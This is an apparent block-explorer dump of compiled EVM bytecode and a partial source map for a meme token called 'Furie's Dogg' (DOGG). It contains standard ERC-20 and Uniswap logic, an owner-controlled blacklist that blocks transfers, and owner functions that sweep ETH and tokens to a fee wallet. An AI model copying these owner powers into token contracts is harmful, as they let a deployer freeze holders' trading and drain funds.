80601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b43565b60008183116118ed5782611895565b50919050565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193557611935611eac565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561198e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b29190611d41565b816001815181106119c5576119c5611eac565b6001600160a01b0392831660209182029290920101526015546119eb9130911684610e33565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a24908590600090869030904290600401611f45565b600060405180830381600087803b158015611a3e57600080fd5b505af1158015611a52573d6000803e3d6000fd5b50506018805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a9e573d6000803e3d6000fd5b5050565b600080611aaf8385611efd565b9050838110156118955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e1565b600061189583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d9565b60008183611b645760405162461bcd60e51b81526004016105e19190611b71565b50600061180a8486611f23565b600060208083528351808285015260005b81811015611b9e57858101830151858201604001528201611b82565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a3757600080fd5b60008060408385031215611be757600080fd5b8235611bf281611bbf565b946020939093013593505050565b600060208284031215611c1257600080fd5b813561189581611bbf565b600080600060608486031215611c3257600080fd5b8335611c3d81611bbf565b92506020840135611c4d81611bbf565b929592945050506040919091013590565b60008060208385031215611c7157600080fd5b823567ffffffffffffffff80821115611c8957600080fd5b818501915085601f830112611c9d57600080fd5b813581811115611cac57600080fd5b8660208260051b8501011115611cc157600080fd5b60209290920196919550909350505050565b60008060408385031215611ce657600080fd5b8235611cf181611bbf565b91506020830135611d0181611bbf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5357600080fd5b815161189581611bbf565b600080600060608486031215611d7357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611ddd578160001904821115611dc357611dc3611d8c565b80851615611dd057918102915b93841c9390800290611da7565b509250929050565b600082611df4575060016105b1565b81611e01575060006105b1565b8160018114611e175760028114611e2157611e3d565b60019150506105b1565b60ff841115611e3257611e32611d8c565b50506001821b6105b1565b5060208310610133831016604e8410600b8410161715611e60575081810a6105b1565b611e6a8383611da2565b8060001904821115611e7e57611e7e611d8c565b029392505050565b600061189560ff841683611de5565b80820281158282048414176105b1576105b1611d8c565b634e487b7160e01b600052603260045260246000fd5b600060018201611ed457611ed4611d8c565b5060010190565b600060208284031215611eed57600080fd5b8151801515811461189557600080fd5b808201808211156105b1576105b1611d8c565b818103818111156105b1576105b1611d8c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f955784516001600160a01b031683529383019391830191600101611f70565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033d7f2d835de29a573519e958db19ad6b14f2c95c74a257d17b8d4cb759eeba864736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f4c014de11610064578063f4c014de14610510578063f4ef1f4214610530578063f5b3c3bf14610550578063ff8975701461058057600080fd5b8063bf474bed14610494578063dd62ed3e146104aa578063f2fde38b146104f057600080fd5b806395d89b41116100c657806395d89b4114610412578063a9059cbb1461043f578063b5ef226a1461045f578063bae4b9421461047f57600080fd5b80637d1db4a5146103c85780638da5cb5b146103de5780638f9a55c0146103fc57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c1461034857806361ab8e2a1461036857806370a082311461037d578063715018a6146103b357600080fd5b806323b872dd146102d4578063313ce567146102f457806349bd5a5e1461031057600080fd5b80630faee56f116101955780630faee56f14610262578063124654c21461027857806318160ddd1461028f5780631cdd3be3146102a457600080fd5b806306fdde03146101c7578063095ea7b31461020e5780630e12062d1461023e57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600c81526b4675726965277320446f676760a01b60208201525b6040516102059190611b71565b60405180910390f35b34801561021a57600080fd5b5061022e610229366004611bd4565b6105a0565b6040519015158152602001610205565b34801561024a57600080fd5b5061025460175481565b604051908152602001610205565b34801561026e57600080fd5b5061025460145481565b34801561028457600080fd5b5061028d6105b7565b005b34801561029b57600080fd5b506102546108ff565b3480156102b057600080fd5b5061022e6102bf366004611c00565b60196020526000908152604090205460ff1681565b3480156102e057600080fd5b5061022e6102ef366004611c1d565b610920565b34801561030057600080fd5b5060405160128152602001610205565b34801561031c57600080fd5b50601654610330906001600160a01b031681565b6040516001600160a01b039091168152602001610205565b34801561035457600080fd5b5061028d610363366004611c00565b610989565b34801561037457600080fd5b5061028d6109d4565b34801561038957600080fd5b50610254610398366004611c00565b6001600160a01b031660009081526001602052604090205490565b3480156103bf57600080fd5b5061028d610a3a565b3480156103d457600080fd5b5061025460115481565b3480156103ea57600080fd5b506000546001600160a01b0316610330565b34801561040857600080fd5b5061025460125481565b34801561041e57600080fd5b50604080518082019091526004815263444f474760e01b60208201526101f8565b34801561044b57600080fd5b5061022e61045a366004611bd4565b610aae565b34801561046b57600080fd5b5061028d61047a366004611c5e565b610abb565b34801561048b57600080fd5b5061028d610b5a565b3480156104a057600080fd5b5061025460135481565b3480156104b657600080fd5b506102546104c5366004611cd3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104fc57600080fd5b5061028d61050b366004611c00565b610c0e565b34801561051c57600080fd5b5061028d61052b366004611bd4565b610cf8565b34801561053c57600080fd5b5060185461022e9062010000900460ff1681565b34801561055c57600080fd5b5061022e61056b366004611c00565b60046020526000908152604090205460ff1681565b34801561058c57600080fd5b5061028d61059b366004611c5e565b610d99565b60006105ad338484610e33565b5060015b92915050565b6000546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e190611d0c565b60405180910390fd5b601654600160a01b900460ff16156106445760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e1565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610697573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bb9190611d41565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107419190611d41565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b29190611d41565b601680546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556015541663f305d7194730610832816001600160a01b031660009081526001602052604090205490565b6000806108476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d49190611d5e565b50506018805461ff001916610100179055506016805460ff60a01b1916600160a01b17905543600655565b600061090d6012600a611e86565b61091b90633b9aca00611e95565b905090565b600061092d848484610f57565b61097f843361097a85604051806060016040528060288152602001611fb7602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117d9565b610e33565b5060019392505050565b6000546001600160a01b031633146109b35760405162461bcd60e51b81526004016105e190611d0c565b6001600160a01b03166000908152601960205260409020805460ff19169055565b6000546001600160a01b031633146109fe5760405162461bcd60e51b81526004016105e190611d0c565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610a37573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a645760405162461bcd60e51b81526004016105e190611d0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105ad338484610f57565b6000546001600160a01b03163314610ae55760405162461bcd60e51b81526004016105e190611d0c565b60005b81811015610b5557600060196000858585818110610b0857610b08611eac565b9050602002016020810190610b1d9190611c00565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b4e81611ec2565b9050610ae8565b505050565b6000546001600160a01b03163314610b845760405162461bcd60e51b81526004016105e190611d0c565b610b906012600a611e86565b610b9e90633b9aca00611e95565b601155610bad6012600a611e86565b610bbb90633b9aca00611e95565b60129081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610bed90600a611e86565b610bfb90633b9aca00611e95565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016105e190611d0c565b6001600160a01b038116610c9d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d225760405162461bcd60e51b81526004016105e190611d0c565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190611edb565b6000546001600160a01b03163314610dc35760405162461bcd60e51b81526004016105e190611d0c565b60005b81811015610b5557600160196000858585818110610de657610de6611eac565b9050602002016020810190610dfb9190611c00565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e2c81611ec2565b9050610dc6565b6001600160a01b038316610e955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e1565b6001600160a01b038216610ef65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526019602052604090205460ff16158015610f9957506001600160a01b03821660009081526019602052604090205460ff16155b610fe55760405162461bcd60e51b815260206004820152601e60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564000060448201526064016105e1565b6001600160a01b0383166110495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e1565b6001600160a01b0382166110ab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e1565b6000811161110d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e1565b6000306111226000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561115157506000546001600160a01b03858116911614155b801561116657506001600160a01b0385163014155b801561117b57506001600160a01b0384163014155b15611670576111ad60646111a7600b54600e54101561119c576007546111a0565b6009545b8690611813565b9061189c565b6001600160a01b03861660009081526004602052604090205490925060ff1680156111e657506015546001600160a01b03858116911614155b801561120b57506001600160a01b03841660009081526003602052604090205460ff16155b156112f3576011548311156112625760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105e1565b60125483611285866001600160a01b031660009081526001602052604090205490565b61128f9190611efd565b11156112dd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105e1565b600e80549060006112ed83611ec2565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561133557506001600160a01b03841660009081526003602052604090205460ff16155b156113b5576012548361135d866001600160a01b031660009081526001602052604090205490565b6113679190611efd565b11156113b55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105e1565b6001600160a01b03841660009081526004602052604090205460ff1680156113e657506001600160a01b0385163014155b1561145c576005546001600160a01b0390811690861603611407578261142d565b61142d60646111a7600c54600e541015611423576008546111a0565b600a548690611813565b6005549092506001600160a01b0390811690861603611457576005546001600160a01b0316611459565b305b90505b6001600160a01b03851660009081526004602052604090205460ff1615801561149e57506001600160a01b03841660009081526004602052604090205460ff16155b80156114b357506001600160a01b0385163014155b156114bd57600091505b3060009081526001602052604090205460185462010000900460ff1680156114e8575060185460ff16155b801561150c57506001600160a01b03851660009081526004602052604090205460ff165b801561151f5750601854610100900460ff165b801561152c575060135484115b801561153c5750600d54600e5410155b156115e157601054431115611551576000600f555b601754600f54106115965760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b60448201526064016105e1565b60006115a4826014546118de565b90506013548111156115b9576115b9816118f3565b6115c247611a64565b600f80549060006115d283611ec2565b9091555050436010555061166e565b60185460ff1615801561160c57506001600160a01b03851660009081526004602052604090205460ff165b801561161f5750601854610100900460ff165b801561162c575060135484115b801561163b5750600d54600e54115b1561166e57600061164e826014546118de565b905060135481111561166357611663816118f3565b61166c47611a64565b505b505b828215611723576001600160a01b03821660009081526001602052604090205461169a9084611aa2565b6001600160a01b0383166000908152600160205260409020556116bd8484611b01565b156116d1576116cc8484611b01565b6116d3565b835b9050306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171a91815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546117469085611b01565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546117759082611aa2565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117c99085815260200190565b60405180910390a3505050505050565b600081848411156117fd5760405162461bcd60e51b81526004016105e19190611b71565b50600061180a8486611f10565b95945050505050565b600082600003611825575060006105b1565b60006118318385611e95565b90508261183e8583611f23565b146118955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e1565b9392505050565b600061189583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b43565b60008183116118ed5782611895565b50919050565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193557611935611eac565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561198e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b29190611d41565b816001815181106119c5576119c5611eac565b6001600160a01b0392831660209182029290920101526015546119eb9130911684610e33565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a24908590600090869030904290600401611f45565b600060405180830381600087803b158015611a3e57600080fd5b505af1158015611a52573d6000803e3d6000fd5b50506018805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a9e573d6000803e3d6000fd5b5050565b600080611aaf8385611efd565b9050838110156118955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e1565b600061189583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d9565b60008183611b645760405162461bcd60e51b81526004016105e19190611b71565b50600061180a8486611f23565b600060208083528351808285015260005b81811015611b9e57858101830151858201604001528201611b82565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a3757600080fd5b60008060408385031215611be757600080fd5b8235611bf281611bbf565b946020939093013593505050565b600060208284031215611c1257600080fd5b813561189581611bbf565b600080600060608486031215611c3257600080fd5b8335611c3d81611bbf565b92506020840135611c4d81611bbf565b929592945050506040919091013590565b60008060208385031215611c7157600080fd5b823567ffffffffffffffff80821115611c8957600080fd5b818501915085601f830112611c9d57600080fd5b813581811115611cac57600080fd5b8660208260051b8501011115611cc157600080fd5b60209290920196919550909350505050565b60008060408385031215611ce657600080fd5b8235611cf181611bbf565b91506020830135611d0181611bbf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5357600080fd5b815161189581611bbf565b600080600060608486031215611d7357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611ddd578160001904821115611dc357611dc3611d8c565b80851615611dd057918102915b93841c9390800290611da7565b509250929050565b600082611df4575060016105b1565b81611e01575060006105b1565b8160018114611e175760028114611e2157611e3d565b60019150506105b1565b60ff841115611e3257611e32611d8c565b50506001821b6105b1565b5060208310610133831016604e8410600b8410161715611e60575081810a6105b1565b611e6a8383611da2565b8060001904821115611e7e57611e7e611d8c565b029392505050565b600061189560ff841683611de5565b80820281158282048414176105b1576105b1611d8c565b634e487b7160e01b600052603260045260246000fd5b600060018201611ed457611ed4611d8c565b5060010190565b600060208284031215611eed57600080fd5b8151801515811461189557600080fd5b808201808211156105b1576105b1611d8c565b818103818111156105b1576105b1611d8c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f955784516001600160a01b031683529383019391830191600101611f70565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033d7f2d835de29a573519e958db19ad6b14f2c95c74a257d17b8d4cb759eeba864736f6c63430008130033

Deployed Bytecode Sourcemap

4328:10870:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6449:83;;;;;;;;;;-1:-1:-1;6519:5:0;;;;;;;;;;;;-1:-1:-1;;;6519:5:0;;;;6449:83;;;;;;;:::i;:::-;;;;;;;;7355:193;;;;;;;;;;-1:-1:-1;7355:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7355:193:0;1023:187:1;5687:26:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5687:26:0;1215:177:1;5510:53:0;;;;;;;;;;;;;;;;14463:695;;;;;;;;;;;;;:::i;:::-;;6726:95;;;;;;;;;;;;;:::i;7556:46::-;;;;;;;;;;-1:-1:-1;7556:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7611:446;;;;;;;;;;-1:-1:-1;7611:446:0;;;;;:::i;:::-;;:::i;6635:83::-;;;;;;;;;;-1:-1:-1;6635:83:0;;5147:2;2252:36:1;;2240:2;2225:18;6635:83:0;2110:184:1;5621:28:0;;;;;;;;;;-1:-1:-1;5621:28:0;;;;-1:-1:-1;;;;;5621:28:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5621:28:0;2299:203:1;8442:115:0;;;;;;;;;;-1:-1:-1;8442:115:0;;;;;:::i;:::-;;:::i;13898:111::-;;;;;;;;;;;;;:::i;6829:119::-;;;;;;;;;;-1:-1:-1;6829:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6922:18:0;6895:7;6922:18;;;:9;:18;;;;;;;6829:119;2991:148;;;;;;;;;;;;;:::i;5324:54::-;;;;;;;;;;;;;;;;2777:79;;;;;;;;;;-1:-1:-1;2815:7:0;2842:6;-1:-1:-1;;;;;2842:6:0;2777:79;;5385:56;;;;;;;;;;;;;;;;6540:87;;;;;;;;;;-1:-1:-1;6612:7:0;;;;;;;;;;;;-1:-1:-1;;;6612:7:0;;;;6540:87;;6956:199;;;;;;;;;;-1:-1:-1;6956:199:0;;;;;:::i;:::-;;:::i;12762:230::-;;;;;;;;;;-1:-1:-1;12762:230:0;;;;;:::i;:::-;;:::i;14193:164::-;;;;;;;;;;;;;:::i;5448:55::-;;;;;;;;;;;;;;;;7163:184;;;;;;;;;;-1:-1:-1;7163:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7312:18:0;;;7280:7;7312:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7163:184;3147:281;;;;;;;;;;-1:-1:-1;3147:281:0;;;;;:::i;:::-;;:::i;14017:168::-;;;;;;;;;;-1:-1:-1;14017:168:0;;;;;:::i;:::-;;:::i;5793:28::-;;;;;;;;;;-1:-1:-1;5793:28:0;;;;;;;;;;;4582:42;;;;;;;;;;-1:-1:-1;4582:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13694:196;;;;;;;;;;-1:-1:-1;13694:196:0;;;;;:::i;:::-;;:::i;7355:193::-;7457:4;7479:39;397:10;7502:7;7511:6;7479:8;:39::i;:::-;-1:-1:-1;7536:4:0;7355:193;;;;;:::o;14463:695::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;;;;;;;;;14521:11:::1;::::0;-1:-1:-1;;;14521:11:0;::::1;;;14520:12;14512:48;;;::::0;-1:-1:-1;;;14512:48:0;;4083:2:1;14512:48:0::1;::::0;::::1;4065:21:1::0;4122:2;4102:18;;;4095:30;4161:25;4141:18;;;4134:53;4204:18;;14512:48:0::1;3881:347:1::0;14512:48:0::1;14605:15;;;;;;;;;-1:-1:-1::0;;;;;14605:15:0::1;-1:-1:-1::0;;;;;14605:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14587:55:0::1;;14665:4;14685:15;;;;;;;;;-1:-1:-1::0;;;;;14685:15:0::1;-1:-1:-1::0;;;;;14685:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14587:131;::::0;-1:-1:-1;;;;;;14587:131:0::1;::::0;;;;;;-1:-1:-1;;;;;4719:15:1;;;14587:131:0::1;::::0;::::1;4701:34:1::0;4771:15;;4751:18;;;4744:43;4636:18;;14587:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14571:13;:147:::0;;-1:-1:-1;;;;;14571:147:0;;::::1;-1:-1:-1::0;;;;;;14571:147:0;;::::1;::::0;::::1;::::0;;:13:::1;14729:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;14729:41:0;;::::1;14571:147:::0;14729:41;;::::1;::::0;;;14796:13;;;::::1;14781:30:::0;;:6:::1;:30:::0;;;;;;:37;;;;::::1;;::::0;;14831:15:::1;::::0;::::1;:31;14870:21;14915:4;14935:24;14915:4:::0;-1:-1:-1;;;;;6922:18:0;6895:7;6922:18;;;:9;:18;;;;;;;6829:119;14935:24:::1;14974:1;14990::::0;15006:7:::1;2815::::0;2842:6;-1:-1:-1;;;;;2842:6:0;;2777:79;15006:7:::1;14831:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14831:223:0;;;-1:-1:-1;;;;;5157:15:1;;;14831:223:0::1;::::0;::::1;5139:34:1::0;5189:18;;;5182:34;;;;5232:18;;;5225:34;;;;5275:18;;;5268:34;5339:15;;;5318:19;;;5311:44;15028:15:0::1;5371:19:1::0;;;5364:35;5073:19;;14831:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15067:11:0::1;:18:::0;;-1:-1:-1;;15067:18:0::1;;;::::0;;-1:-1:-1;15096:11:0::1;:18:::0;;-1:-1:-1;;;;15096:18:0::1;-1:-1:-1::0;;;15096:18:0::1;::::0;;15138:12:::1;15125:10;:25:::0;14463:695::o;6726:95::-;6779:7;5204:13;5147:2;5204;:13;:::i;:::-;5191:26;;:10;:26;:::i;:::-;6799:14;;6726:95;:::o;7611:446::-;7743:4;7760:36;7770:6;7778:9;7789:6;7760:9;:36::i;:::-;7807:220;7830:6;397:10;7878:138;7934:6;7878:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7878:19:0;;;;;;:11;:19;;;;;;;;397:10;7878:33;;;;;;;;;;:37;:138::i;:::-;7807:8;:220::i;:::-;-1:-1:-1;8045:4:0;7611:446;;;;;:::o;8442:115::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8518:23:0::1;8544:5;8518:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;8518:31:0::1;::::0;;8442:115::o;13898:111::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;13960:8:::1;::::0;13952:49:::1;::::0;-1:-1:-1;;;;;13960:8:0;;::::1;::::0;13979:21:::1;13952:49:::0;::::1;;;::::0;13960:8:::1;13952:49:::0;13960:8;13952:49;13979:21;13960:8;13952:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13898:111::o:0;2991:148::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;3098:1:::1;3082:6:::0;;3061:40:::1;::::0;-1:-1:-1;;;;;3082:6:0;;::::1;::::0;3061:40:::1;::::0;3098:1;;3061:40:::1;3129:1;3112:19:::0;;-1:-1:-1;;;;;;3112:19:0::1;::::0;;2991:148::o;6956:199::-;7061:4;7083:42;397:10;7107:9;7118:6;7083:9;:42::i;12762:230::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;12884:9:::1;12879:106;12895:20:::0;;::::1;12879:106;;;12968:5;12937:14;:28;12952:9;;12962:1;12952:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12937:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12937:28:0;:36;;-1:-1:-1;;12937:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12917:3:::1;::::0;::::1;:::i;:::-;;;12879:106;;;;12762:230:::0;;:::o;14193:164::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;5204:13:::1;5147:2;5204;:13;:::i;:::-;5191:26;::::0;:10:::1;:26;:::i;:::-;14249:12;:22:::0;5204:13:::1;5147:2;5204;:13;:::i;:::-;5191:26;::::0;:10:::1;:26;:::i;:::-;14282:14;:24:::0;;;14322:27:::1;::::0;5204:13:::1;::::0;:2:::1;:13;:::i;:::-;5191:26;::::0;:10:::1;:26;:::i;:::-;14322:27;::::0;1361:25:1;;;1349:2;1334:18;14322:27:0::1;;;;;;;14193:164::o:0;3147:281::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3250:22:0;::::1;3228:110;;;::::0;-1:-1:-1;;;3228:110:0;;7883:2:1;3228:110:0::1;::::0;::::1;7865:21:1::0;7922:2;7902:18;;;7895:30;7961:34;7941:18;;;7934:62;-1:-1:-1;;;8012:18:1;;;8005:36;8058:19;;3228:110:0::1;7681:402:1::0;3228:110:0::1;3375:6;::::0;;3354:38:::1;::::0;-1:-1:-1;;;;;3354:38:0;;::::1;::::0;3375:6;::::1;::::0;3354:38:::1;::::0;::::1;3403:6;:17:::0;;-1:-1:-1;;;;;;3403:17:0::1;-1:-1:-1::0;;;;;3403:17:0;;;::::1;::::0;;;::::1;::::0;;3147:281::o;14017:168::-;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;14159:8:::1;::::0;14131:46:::1;::::0;-1:-1:-1;;;14131:46:0;;-1:-1:-1;;;;;14159:8:0;;::::1;14131:46;::::0;::::1;8270:51:1::0;8337:18;;;8330:34;;;14131:27:0;;::::1;::::0;::::1;::::0;8243:18:1;;14131:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13694:196::-:0;2904:6;;-1:-1:-1;;;;;2904:6:0;397:10;2904:22;2896:67;;;;-1:-1:-1;;;2896:67:0;;;;;;;:::i;:::-;13783:9:::1;13778:105;13794:20:::0;;::::1;13778:105;;;13867:4;13836:14;:28;13851:9;;13861:1;13851:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13836:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13836:28:0;:35;;-1:-1:-1;;13836:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13816:3:::1;::::0;::::1;:::i;:::-;;;13778:105;;8065:369:::0;-1:-1:-1;;;;;8192:19:0;;8184:68;;;;-1:-1